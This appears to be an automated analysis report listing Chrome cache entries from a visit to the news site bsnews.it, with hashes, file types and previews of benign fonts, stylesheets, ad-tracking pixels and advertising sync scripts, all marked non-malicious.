URL:	https://us-u.openx.net/w/1.0/sd?id=537072971&val=a109dc60-dc7c-45e5-ab53-e2448a53420f&ttd_puid=2dcebd09-45e3-329f-69a7-5614801926e7&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 865

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	771
Entropy (8bit):	6.908939349525579
Encrypted:	false
SSDEEP:	12:oNSSQDR1Nws0pFItTuuG+IaFTDbjj9X194LVhGSuqyM3N/Y4cv4ZimsDjnUA/lU:Xj+fbBuzFj3aL3GyJa0im6jUA/e
MD5:	00EF871B291BC03A497D608A5BD8EC99
SHA1:	942D8FE092C1C473AF19906751C2BEE5322A9B55
SHA-256:	81A161D5793AC2A33F02DDCD64FB0DC2D028616DAC084E4F64E77F4898B0C4E4
SHA-512:	659AA4AC73230A847E7D836D486EE04289D73B3D3E7000A9A3333F6E40804D0CCB57DBACD999C0DBB730D5566520B27A0068A94D6087EA52F6A65E36B308190D
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/wp-polls/images/loading.gif
Preview:	GIF89a.....................................wul..y............!..NETSCAPE2.0.....!.......,..........O......{....Y.`....I.D8..+S....(.......D..(.I~.. .H`...Z.f....k.N..q..;'.L..!.......,..........N.......{..@.1....Q]AiN.:..)S.T..,.......b....$?...Q(0.).j.f....{....n.-~N...!.......,..........M........,Eeu.....%5..E...f3. .....g(..<...L...D".X`.RJ.J.N..........9..=..!.......,..........N...J..Z.'B. ..q`.....P)8./,S&.$.$......y....D...."..`.R.ak.b.........m..^S...!.......,..........M......Z.gJ.....}.H..I...b$.(.t..}.....~9..@Y,2.........i00......\|.....t;..!.......,..........M...R..Z..R.. ..}.H..I.l...t.P0....B....v>.CG1.2...i.P...J.0.R-.....J....t;..!.......,..........M.....Z..Z..$..}.H..I.l...at..0........8..B d..L.I.B)...q80...&..t.....3..;

Chrome Cache Entry: 866

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	717
Entropy (8bit):	5.299013596664044
Encrypted:	false
SSDEEP:	12:UNmF3O6ZRoT6pfD3DhKa+WRzxcb65wCgDrqAF3O6ZRoT6pfDZfKayVVey90H1BGt:33OYs21RVc+u/r3OYsPwy96DGSSf7
MD5:	11B8F27B7E5B7848389F4D869C11ACC4
SHA1:	C6D90C5B580D6049FFD37EF3A990BCE80DB73433
SHA-256:	77D9907CA853AB885FD7A35A29FAAF4206B8FE47347CD9C12391D64451AD6F37
SHA-512:	E5F60B3B5DECEBF8876A99AD845557FADB278C400C82F7C2009C5171A621281B4647CE9B5F25E4D5A4F99055FDC6FE85976C2D6A98FF0803D7E763C9B393F3FE
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Lato
Preview:	/* latin-ext /.@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjxAwXjeu.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjx4wXg.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}.

Chrome Cache Entry: 867

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (672), with no line terminators
Category:	downloaded
Size (bytes):	672
Entropy (8bit):	5.325800909380663
Encrypted:	false
SSDEEP:	12:fXffouVFK8iR9NE/VxjSEc2q7Go+IRRM19RbS6DZt7RMpZCAoOc5DRWULqsIQm/V:fXffouVKRI/aElS1G9R2E3XOcpRWU+sC
MD5:	F9705A5121355FE99C15C2BD42171615
SHA1:	0802DC2A649077A24776334FBFC91E40BA8121BF
SHA-256:	CDDACF361CB164023254AF083479D2BEF3C0B7B9A0DA9B09CE6268640BD49FBF
SHA-512:	E5E080D8A822E7EE14827B623E01D5325F970A6497342DB513E7962E67C2BAB6BBE197D7422D4CE0BC28D12064DC07CE3C6FEE602D3ACAFD31E7EC1DB3C45EF9
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/434.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[434],{434:(c,e,s)=>{"use strict";s.r(e);var o=s(845);const{LoggerSour:r}=o.t,t=new r("DMP > Comscore");!function(){window,t.log("Comscore - Init");let c="<span id='sour-comscore-scripts'>";c+=" <script>",c+=' var _comscore = _comscore \|\| []; _comscore.push({ c1: "2", c2: "35874949" });',c+=" <\/script>",c+=" <script async='true' src='https://sb.scorecardresearch.com/cs/35874949/beacon.js'><\/script>",c+="</span>";var e=document.createRange();e.selectNode(document.getElementsByTagName("body")[0]);var s=e.createContextualFragment(c);document.body.appendChild(s),t.log("Comscore - Load script",c)}()}}]);

Chrome Cache Entry: 868

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	301
Entropy (8bit):	5.019935561554769
Encrypted:	false
SSDEEP:	6:o6khi8mgO9lnMss5UY5OSsXE54DA1XexktVloP+I1lLBepw:oVh1unMsUUQOS2cwA1XNt0P+8nepw
MD5:	4E2FC866E7CB7C00494811C616850703
SHA1:	73295AB5D2C8EFE37D1CF4F1F0DC69210F9DC479
SHA-256:	A8F9BDD791270B452C4BB1BE2F58E4485A697261CB40B4AC7B88C9C5D652EFE8
SHA-512:	6E61F0DF36CABDC89524BA1F1D599F7A95CCCFB7D02655D32AD8CD18CC97BBA9BBD53ADC6F6C87915A4EAC0F15830C85BC9D7865DB63A181DEAE89AEBEFB0B34
Malicious:	false
Reputation:	low
URL:	https://sync.richaudience.com/DF2886F390D432DF0C8E98D69702ED6F/
Preview:	.let raSyncIframe = document.createElement('iframe');..raSyncIframe.width=0;..raSyncIframe.height=0;..raSyncIframe.frameBorder=0;..raSyncIframe.scrolling='no';..raSyncIframe.src='https://sync.richaudience.com/b3adde1f4bbb31c3485562d6e3ddceb4/?rnd=56538560'; ..document.body.appendChild(raSyncIframe);.

Chrome Cache Entry: 869

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	965
Entropy (8bit):	5.417110342843368
Encrypted:	false
SSDEEP:	12:kxPm05xcpb+Nhhxo8KBGGx1PE+jyl72U/a+sUVy90hwtAoV0oARO+4k:kIhcnrKBGGrPEfh/wWy9IwtnJe
MD5:	863AAC374B7C6F93803C0BAB007632DA
SHA1:	FCDE5A0C5EB3030934324ED71D8EAD42617DD66B
SHA-256:	37B9A956196724FC2A080079DA37B4DD80AE0612B4F69D2EF02A38DD844EB726
SHA-512:	F1817AF6CE3357E5270A303355BCDA9FFE69458CCB01146C16F5D4015AB2BAA5A6B12E5E4E4401185E0004A9743DBB3B892F7D01EA62BF99C34EDC6DB46E6A36
Malicious:	false
Reputation:	low
Preview:	<html><head></head><body><img src="//match.sharethrough.com/sync/v1?source_id=98KUz37ype9D3X2sf9ovgeTt&gdpr=0&gdpr_consent=&source_user_id=7766515454130361199" />.<img src="https://id5-sync.com/i/102/9.gif?gdpr=0&gdpr_consent=" />.<img src="https://rtb-csync.smartadserver.com/redir/?issi=1&partnerid=76&partneruserid=GOOGLE_HOSTED_SI2&redirurl=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dsmartrtb_dbm%26google_cm%26google_sc%26google_hm%3DSMART_USER_ID_B64&gdpr=0&gdpr_consent=" />.<img src="https://bh.contextweb.com/bh/rtset?pid=560288&ev=1&rurl=https%3A%2F%2Frtb-csync.smartadserver.com%2Fredir%2F%3Fissi%3D1%26partnerid%3D92%26partneruserid%3D%25%25VGUID%25%25&gdpr=0&gdpr_consent=" />.<img src="https://rtb-csync.smartadserver.com/redir/?issi=1&partnerid=139&partneruserid=0&redirurl=https%3A%2F%2Fmatch.sharethrough.com%2Fsync%2Fv1%3Fsource_id%3D98KUz37ype9D3X2sf9ovgeTt%26source_user_id%3DSMART_USER_ID&gdpr=0&gdpr_consent=" />.</body></html>.

Chrome Cache Entry: 870

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 871

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	114297
Entropy (8bit):	5.137602081841902
Encrypted:	false
SSDEEP:	1536:dizIoE+Npj+iHs8lu4JtQO9YmWivaSNwyskAB4hOBK7PT:d6G7U
MD5:	6050CC44C0F915F754B8EBB95C62C8B5
SHA1:	8AF9A25FF2A289D71D107BDC3F4BB516AF1D3390
SHA-256:	4C8E252CA4E5D2D5E9ED4B681995105F525E35BAB43539D099D4EB50BA345902
SHA-512:	E6CC3DE613119DD94E6009BDD75A7AFBEFCBE4FD642B5AF049BEC1B68F92F2DCDB854F2B281636F71C77477AFBC4691FC9E606E975D97F6417CC9B55038C9B1B
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/themes/Newspaper/style.css?ver=12.6.5
Preview:	:root{--td_theme_color: #4db2ec;--td_grid_border_color: #ededed;--td_black: #222;--td_text_color: #111}.mx_image_background{background-color:#f2f2f2}.td-visibility-hidden{visibility:hidden}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;content:"";line-height:0}.clearfix:after{clear:both}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}fi

Chrome Cache Entry: 872

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=a109dc60-dc7c-45e5-ab53-e2448a53420f&ttd_puid=40662bab-59e7-453d-8534-da10890213df%2C%2C%257B%2522architecture%2522%253A%2522x86%2522%252C%2522bitness%2522%253A%252264%2522%252C%2522brands%2522%253A%255B%257B%2522brand%2522%253A%2522Google%2BChrome%2522%252C%2522version%2522%253A%2522117%2522%257D%252C%257B%2522brand%2522%253A%2522Not%253BA%253DBrand%2522%252C%2522version%2522%253A%25228%2522%257D%252C%257B%2522brand%2522%253A%2522Chromium%2522%252C%2522version%2522%253A%2522117%2522%257D%255D%252C%2522fullVersionList%2522%253A%255B%257B%2522brand%2522%253A%2522Google%2BChrome%2522%252C%2522version%2522%253A%2522117.0.5938.132%2522%257D%252C%257B%2522brand%2522%253A%2522Not%253BA%253DBrand%2522%252C%2522version%2522%253A%25228.0.0.0%2522%257D%252C%257B%2522brand%2522%253A%2522Chromium%2522%252C%2522version%2522%253A%2522117.0.5938.132%2522%257D%255D%252C%2522mobile%2522%253Afalse%252C%2522model%2522%253A%2522%2522%252C%2522platform%2522%253A%2522Windows%2522%252C%2522platformVersion%2522%253A%252210.0.0%2522%257D
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 873

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2920), with no line terminators
Category:	downloaded
Size (bytes):	2920
Entropy (8bit):	5.278382327824268
Encrypted:	false
SSDEEP:	48:0GoPdhpMzANg4+rItkVsjxe3iRfLIzzL9qMEqK/VEjbJtbmsrIonbl8Q6LBI0uBP:poPTdfbiVsjgiRfL2f9sqK/VEjiOnF6K
MD5:	653708AD1BBAE1579927B6391B2A28F3
SHA1:	4261E415C23DFD9D925F071737FB0D236F856F4E
SHA-256:	82D2DC44AAE1EDA52ABC17AFD30C6031B7175C13EE6955410164C66AE755ADFB
SHA-512:	4092D81BEEAADB7ECA73EE279AF0A5289CAF850253464BAA4F7695C49670C05F7E89630807A2C41D3D9CAD75D95A60719FDB1A16265537153952774F7450873C
Malicious:	false
Reputation:	low
URL:	https://js-sec.indexww.com/um/ixmatch.html
Preview:	<!doctype html><head></head><body><script>!function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}r.m=t,r.c=e,r.d=function(t,e,n){r.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:n})},r.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},r.t=function(t,e){if(1&e&&(t=r(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)r.d(n,i,function(e){return t[e]}.bind(null,i));return n},r.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return r.d(e,"a",e),e},r.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r.p="",r(r.s=0)}([function(t,e){let r=!1;const n={};let i,a,o,c;

Chrome Cache Entry: 874

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	46715
Entropy (8bit):	6.008288946835557
Encrypted:	false
SSDEEP:	768:1Q+9Zh+Clpxixm7yhemwuaSyqCH8CxtOM3TUVgONmWHVCzlxLodmWONomRzzII+7:O7m+M3oV/bC5xLodYNXS
MD5:	1255B45006DB4E6F4B5B5421D7F865B1
SHA1:	05A262C151FFB838DFABA9F0D27C85D03BED6426
SHA-256:	215361A6F8A6A70F66488E427B460950FBF923F4935BF2DCF7CC8FB09F9313BE
SHA-512:	DAB9C7E1F4F21DE2A455781BD2EB93EF99C48C7A9B9DEE6F9F171FD89A0F8B53EF1E8C6C1A20EB0A30B409E8BE565D3D56B7F70663639CFAA214989805F574DC
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1536995679409651&correlator=2619911543916959&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2Cbsnews-floorad-desktop&enc_prev_ius=%2F0%2F1&prev_iu_szs=728x90&ifi=4&didk=185291728&sfv=1-0-40&rcs=1&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615907443&lmt=1711560111&adxs=268&adys=817&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=3&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x13597&msz=1263x-1&fws=512&ohw=0&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=3&tps=3&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvYnNuZXdzLWZsb29yYWQtZGVza3RvcCIsW11dXV0sbnVsbCwzXQ..&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinterval%26refreshCount%3D1%26amznbid%3D2q251c%26amznp%3D1arrojk%26amzniid%3DJP12Aem8wMvSjvtJQPXQSzsAAAGOhEHcTQEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICCsGVPB%26amznsz%3D728x90%26amznactt%3DOPEN&cust_params=consent%3Dyes&adks=3616936076&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM
Preview:	{"/150134580/bsnews-floorad-desktop":["html",1,null,null,1,90,728,0,0,null,null,null,1,null,[138298069882],[5246214423],[4519387872],[2638329748],null,null,null,null,null,null,null,1,null,null,null,null,null,null,"AOrYGslsriMWrMZfbuyWD3scjX5EX9icZGjJjFjHYGDToB3vrsuu_t2o_RSnrAJ919nxIdNvwmYBTQ131oj3qJZ2pxFbYNyG","CO3elZTKloUDFRw6igMdEDsI7g",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"3",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}.<!doctype html><html><head><script>var inDapIF=true,inGptIF=true;</script></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>window.dicnf = {};</script><script data-jc="42" data-jc-version="r20240326" data-jc-flags="["x%278446'9efotm(&20067;>8&>`dopb/%<1732261!=\|vqc)!7201061?'9efotm(&20723;>:&>`dopb/%<1245;05!=nehu`~"]">(function(){'use strict';/* Copyright The Closure Library Authors. SPDX-License-I

Chrome Cache Entry: 875

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?google_gid=CAESEEsi_bRI3GLpfUTpWd4PH8g&google_cver=1&zpartnerid=1&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 876

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (634)
Category:	downloaded
Size (bytes):	1174
Entropy (8bit):	5.74166936214599
Encrypted:	false
SSDEEP:	24:hY6t2eJJBewfHDdUg8EcvjHODQMJXeK+C6uS/MLmeK+C6uSGymWAuDSXeMzCUtVv:9V4goLHODS1CTXT1CTVyPyCM6Nu
MD5:	2FE2B1F17888E326B010A8CDA72D48D3
SHA1:	59CBBEEDE4C472024C482BAE8529144119BBBD27
SHA-256:	9A9B7FB32E01FD70747F32EFDBD0472FD681C85EEBB0C42D10C7A514820A0062
SHA-512:	30BE2E73020EB97A67709E47DED40E999D352DA9B94EDD946D1315BDA65AD616AAA3CDFCFA675D061E4ED4AE1BAE3F0D245908D44411B2425C49B4345D2F6607
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/s/cookie_push_onload.html
Preview:	<!DOCTYPE html>.<html>.<head>. <title></title>. <script type="text/javascript">(function(){var f=null,g=null;function l(a){var b="";n(a,function(a){b+=String.fromCharCode(a)});return b}function n(a,b){function c(b){for(;e<a.length;){var c=a.charAt(e++),d=g[c];if(null!=d)return d;if(!/^[\s\xa0]*$/.test(c))throw Error("Unknown base64 encoding at char: "+c);}return b}p();for(var e=0;;){var d=c(-1),m=c(0),h=c(64),k=c(64);if(64===k&&-1===d)break;b(d<<2\|m>>4);64!=h&&(b(m<<4&240\|h>>2),64!=k&&b(h<<6&192\|k))}}.function p(){if(!f){f={};g={};for(var a=0;65>a;a++)f[a]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(a),g[f[a]]=a,62<=a&&(g["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.".charAt(a)]=a)}};function q(){for(var a=window.location.hash.substring(1).split(","),b=0;b<a.length;b++){var c=l(a[b]),e=window;e.google_image_requests\|\|(e.google_image_requests=[]);var d=e.document.createElement("img");d.src=c;e.google_image_requests.push(d)}}var r=!1;

Chrome Cache Entry: 877

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 878

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	11433
Entropy (8bit):	7.948462736960468
Encrypted:	false
SSDEEP:	192:Tzp/fU7KRnYpVcbKEVLt5VuDpyZHVFbN7m/iwRcFMhncHZBhWxzW1WPn6UD3C3V6:Tzp/fmgwVcbKmPVuQR7WYT7IxzW1C6Uj
MD5:	5442B2A749A21BD29A664C578AD0BD1B
SHA1:	AF50DE8B042B0801F44C075349EFDEE62254C4CA
SHA-256:	519E4B926B33A50020AC995F53C78C7B216CE11CCEB43D0E09C4623722863775
SHA-512:	D44224CDCF0E23FE8212E69F510C74826E4E18CB993BB7A97472BB64F056EF5F255EEE36ABF9224F5D5B34F28A15DDB47DB4FD3A5B75A4EF24431669FFFACA34
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................#...!....).!$%'('..+.+&.#&'&...C...........&...&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&........D.."................................................................................z.{:.a.K.\!..z.UUlo...K..v8.%^.U.tIQ...>:...'.....y].}..UZ\.(LZY..>~.`.?P....W5r.s.......l....0.V............JQ...E<....>r-6S...M.z...V+O?J!.3.Z...N}V..^..C.sJ....77_?6........s....u.}..ct......../O@s.-..B.#4...P.......n...h3.-frs.../.......H.;.......0uACc.y.7I......;..)\|z..r.`@.i;.....\..6.....i.S.'JZ..n}~...u.}$. \|.'\}..;.:...Cu..i.I.........A....3.6.O.oZs...X. ....$4...3s..9}].a@...\}...nyR.......:..>..p..9I.Apg_-.V.h80.. .J.....[pj.\2c`.Hj.-.`............e./.....o]b9.._.SVK][.Wp..H.Y.o..<..'..:.......6.......:..sw.AW:...4..JZ.`u.]...>q..\..b..>....1)g..Kh...._.......0uf-..{:L.5...{q...[r..i.......:.A......H/........}..k...N.#V}.=v.....kgah(1....c.:[.....\|..c.....(......B.0...V.5...nm.B...L.G.

Chrome Cache Entry: 879

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, progressive, precision 8, 300x250, components 3
Category:	downloaded
Size (bytes):	32561
Entropy (8bit):	7.93313758912575
Encrypted:	false
SSDEEP:	768:wikBbrLK/AlAdEDtuUhNxk8+MXx+RhvE/SHNRDgMsw:wXbrLKoqdAd1ph+Ry/QYMsw
MD5:	BA4A2BE70549A100B9F5AE9A6E452531
SHA1:	80F3858442BFC848716BC79204D52191BE42BAD4
SHA-256:	9379C4B5EA3A1FADC8568F0FEC018AC25E183FE5E82933D127ABDD375A05605D
SHA-512:	04EEF2F62D7FA55AE083F8AB5E26A60F600DE855D9A6BE801882FB4CAF040007702032D59577A9CC2BCB3827AB3DD786AD286D76E045E53D9B4CFD6D4040F59D
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/uploads/2023/05/300x250_bsm.jpg
Preview:	......JFIF.....d.d......Ducky.......d.....&Adobe.d................G..D...`..../..............................................................................................................................................,.............#.................................................................................@ ......p1$.#&.0P!"56..........................!..1A.Q"2.. aqB#@.Rb3.r.C$T%...s460pS.....c..d.5Eu.......................!1...AQaq.. @......"2B..R#3$.br...0p....Ss.P.4....................!1AQaq.. @.....p...0P..............................................................................................=.[?.T....v......t..-)............y.3dt.,.^..wv......"...Ry....K.vf.r.+..+.A..V.mk..JsR...........m......ct..Y...t5......g.j;V.O.]..p..Y..v.K...........q..I...i..QE......o.x..>....;....l.f....}Yx`........G..A;...Lc.[V....Ux.9./....[..?B9[.}.8..V.................rk.Z....;.M.g.....P. .8.1u...Z...Ug...5.?..L........~8.}...7..D...S.D.M......Gs.{..5.Vr..3.S.....;I..

Chrome Cache Entry: 880

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	low
URL:	https://mcdp-chidc2.outbrain.com/l?token=800cec8f01bc024bf8f94b5c6e21ac16_30351_1711615904909_1&tm=22950&eT=0&widgetWidth=690&widgetHeight=246&widgetX=101&widgetY=3195&wRV=2010731&pVis=1&lsd=605efeb6-d03d-4c86-b581-346f2597a6eb&eIdx=&oo=false&lo=27464&obreq=26012&mvreq=27788&mvres=50075&re=50446&cet=3g&cs=4&to=1711615856221&ll=0&chs=1&ab=0&wl=0&retries=1
Preview:	ok

Chrome Cache Entry: 881

Download File

